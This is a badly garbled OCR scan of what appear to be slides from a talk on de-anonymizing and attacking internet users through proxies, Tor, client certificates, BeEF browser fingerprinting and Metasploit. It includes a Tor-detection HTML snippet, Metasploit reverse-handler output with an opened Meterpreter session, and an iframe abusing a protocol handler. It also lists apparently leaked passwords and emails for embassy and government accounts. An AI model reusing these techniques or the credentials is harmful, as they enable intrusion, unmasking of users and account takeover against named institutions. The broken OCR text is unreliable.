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opl e t hi t
Cy IS not a guarantee. It T 7 .. eoiure
taken from YOU. [ " everyone will be
. . : 2\!1()]1)’"]()[15
anonymity is actually ; for 15 minutes

ely difficult to
achieve!!

E So we decided to attack users
Instead of websites for once.




y IS Privacy Good?

e Safety from trolls who want
~ to drop docs

afer for political dissidents

e Safer for potential victims of
violent crimes (women,
chil dren) e

£ Allows people to be
themselves (for good or bad)

e Safer for whistle blowers
E Increases freedoms

I'd hit it
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nem to attack easily
nem to retreat easily

nem to exfiltrate data

e Hurts law enforcement

e Prevents osoci
rules of order from working in
online contexts.

hy iIs Privacy Bad?

OH WELL

g B

| WASN'T USING
MY CIVIL LIBERTIES
ANYWAY.




zither Way, Privacy is Broken

too

SE t e
ndar dao
~down on the
| at, but what if
we could do better?
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How?Z

e Basicanonymization guide
E PrOX|eS iWorking proxy list

Proxy:Port TEeweY.
¥ (sec)

CGI prOXIeS 20065.127.161:80 03100 Transp. MX

200.21.103.10:80  0.8603 Elite CO

A

p . 19517537280 09206  Tramsp.TR
A SOCKS PfOXleS 22126207430 09263  Anom. JP
6615320321880 10172  Elite US
A
A

Type Couniry SSL Lastcheck time

2007-12-11 12:30:07
2007-12-11 12:32:05
2007-12-11 12:32:34
2007-12-11 12:28:05
2007-12-11 12:32:51
2007-12-11 12:32:22
2007-12-11 12:32:29
2007-12-11 12:34:11
2007-12-11 12:28:49
2007-12-11 12:31:50
2007-12-11 12:31:09
2007-12-11 12:32:22
2007-12-11 12:28:41
2007-12-11 12:32:16
2007-12-11 12:32:29
2007-12-11 12:28:26
2007-12-11 12:28:31
2007-12-11 12:32:37
2007-12-11 12:33:45
2007-12-11 12:31:13
2007-12-11 12:29:34

20582056180 10245  Transp.ES
Tor 202134735580 11470  Hite HK
1941022531580 13030  Elite RO

- 0314703080 13302 Elile TH

HaCked maCh|nes 16320904380 13340  Transp.ZA
2211954119680 17028  Transp.CN

. 1983620316280 24815  Elite US

E Freemall 222621926680 25762  Hite CN
1962022522440 30651  Transp AO

202.166164.18580 31732 Anon. FK

X | 1941462271580 32287  Elte FR

A HOtma| 0314414416380 41522  Transp. TH
2008311416680 47333  Anon. DO

2171962422080 47393  Anon. KZ

A G m al I 168.209.0.50:20 52741 Transp. Z&
168243199 228:80 5.6886 Elite SV
A Hushmall
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ent Side Certificates

£ Good/Normal Use

Improving the trust model

Client; has the cert in the
owser

A Servers: requires all clients
have valid certs
e What if the client goes to
another website with SSL?

A Browser defaults to send
the public key



Client Side Certificates

E Wel I y CO u Id th iS be [ ) User Identification’ Request L
m aI i C i O u S ’? 1 | This site has requested that you identify yourself with a certificate:

E Sniff the public key m—
A Name of the system e s e

Imported Certificate #2 [03]

A Sys t e m / O S .Detaiis of selected certificate:

Issued to: E=cs591@ cs.uccs.edu,CN=cs591,0U=Computer

Science,0=UCCS,L=Colorado Springs,5T=Colorado,C=US

A Username/EmaiI Of Serial Number: 03

Walid from 10/04/2005% 11:54:07 to 10/04/2006 11:54:07

" Issued by: E=ca@fc4.csnet.uccs.edu,CN=CAfc4,0U=Computer
th e C I Ien t Science,0=UCCS,L=Colorado Springs,ST=Colorado,C=US

Stored in: Software Security Device

A Location of the server
A Cert Issued / Expires




g about usernames they
often look like this:

ast]
last]

last]

A handle

A e [ name of the victim

rf AN

Elnteresting more on t hi



Breaking Tor

Kazakhstan Embassy in Egypt
213.131.64.228azaemb piramid

Mongolian Embassy in USA
e 100 embassy passwords  209.213.221.249

n.tumenbayar@mongolianembassy.us
E Breach proxy honeypots temp

. : UK Visa Application Centre in Nepal
E Open Proxies you trust? 208.109.119.54 visuknepal @vésk-

np.com Password

E HaCkedTOr.eXe Defense Research & Development

A Setup the Client Organization Govt. Of India, Ministry of

g . : Defense jpsingh@drdo.com password+1
A Tor node just logs everything . Eriqpbasiy% A g

A We can play MITM like Jay amb@indianembassy.org 1234

e <img _ e Iran Embassy in Ghana 217.172.99.19
src="http://dige6xxwpt2kngbv.onion/wink.gif" iranemb accra@mfa.gov.iraccra
onload="alert("You are using Tor")" I — -gov.

onerror="alert("You are not using tor')"> Iran Embassy in Kenya 217.172.99.19
iranemb_kenya@mfa.gov.ir kenya

Hong Kong Liberal Party 202.123.79.164
miriamlau 123456 11




Browser Detection

E Mr T
A Plugins
A History
A Screen Resolution

E BeEF

A VMware detection (IE only)

A Plugin detection
G (Java, Flash andQuicktime )

A Setup script in Backtrack4

E But e. The CI
Hothess!

o Filename: npwmsdrm. dll
o Description: DRM Store Netscape Plugin
o Mime info: application’z-drm Network Interface Plugin nip enabled

Firefox plugin detection:

Auto Copy: enabled.
BughfeNot: enabled.
Customize Google: enabled.
DownThemAlll: enabled.
Download Manager: enabled.
Flash Block: enabled.

IE Tab: enabled.

JS View: enabled.
NoScript: enabled.
QuickJava: enabled.
Torbutton: enabled.

Web Developer: enabled.

JavaScript variables:

Window width = 590

Window height =617

Available Screen Height =768
Available Screen Width = 1024
Color Depth = 32

Pixel Depth =32

Some sites you have wistted:

O * http:fitha ckers. orgf
* http:fitha ckers. org/blog/
* hitp./fwww. blackhat. com/
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lization/Cloud Detection

zon EC2Detection
'tify each region

AMac doesn6@iitisswer k

New BeEFModule!

Leverage this knowledge in our
attacks
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Pwn Dem vOhns

gz £ Java on the client
Do yeuwant torum the sppication? @ A Malicious Java Applet

sy P e Client running
i B old/vulnerable software:
_ign |[me ] A Plugin and/or Browser

Rl et e Mkt A Metasploit exploit

Warning - Security

exploit(handler) >

Handler binding to LHOST 192.168.159.134

Started reverse handler

Starting the payload handler...

Transmitting intermediate stager for over-sized stage...(191 bytes)
Sending stage (2650 bytes)

Sleeping before handling stage...

Uploading DLL (75787 bytes)...

Upload completed.

. .0

- .

»

O e e e e L

m
[
[
(
[
[
[
[
[

msf exploit(handler) > [*] Meterpreter session 1 opened (192.168.159.134:8080 -
192.168.159.132:1051)
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BeEF to the MAX!

Modules

ware , QEMU, VirtualBox and EC2)

—FMetasploit Integration
utopwn / New Browser Oday

ted BeEFModules
A Visited URLs (Alexa top 500)

e New version of BeEFc o mi n g é
A http://www.bindshell.net/beef
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Real IP

r

) [#] about:config - Mozilla Firefox [#] E]@

File  Edit Wiew History  Bookmarks  Tools  Help

E Java
A Java Internal IP hender

Preference Mame % Sktakus Tvpe
~ nebwork, protocal-handler . external-defaul default boolzan
E F I aS h nebwork, protocal-handle rral. afp defaulk boolzan
= i rnal.data default .
X g = =l 0 andler . external disk default
E SC p_ // ( WI n S C P) cibi andler. external. disks default
z andle rnal.bicp default :;
by ebwark., pratocaol-handle rnal.javascripk default bioalean
E WO rd/ p df b u g S ebwark., pratocaol-handle rnal, mailka default bioalean
by &l m default 22
I . s =l oktocol-handler external ms-he default
E |tm S. ot Fhandier.external.new default

ebwark, rral. inkp default boolean
A Already part of vrmatst e oo ot oo
decloak.net et ok o

S ITTME validates

<iframe width=1 height=1

sro="1tm: SR 01 Oas B 0. itma. f =
</iframe:
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File System Enumeration
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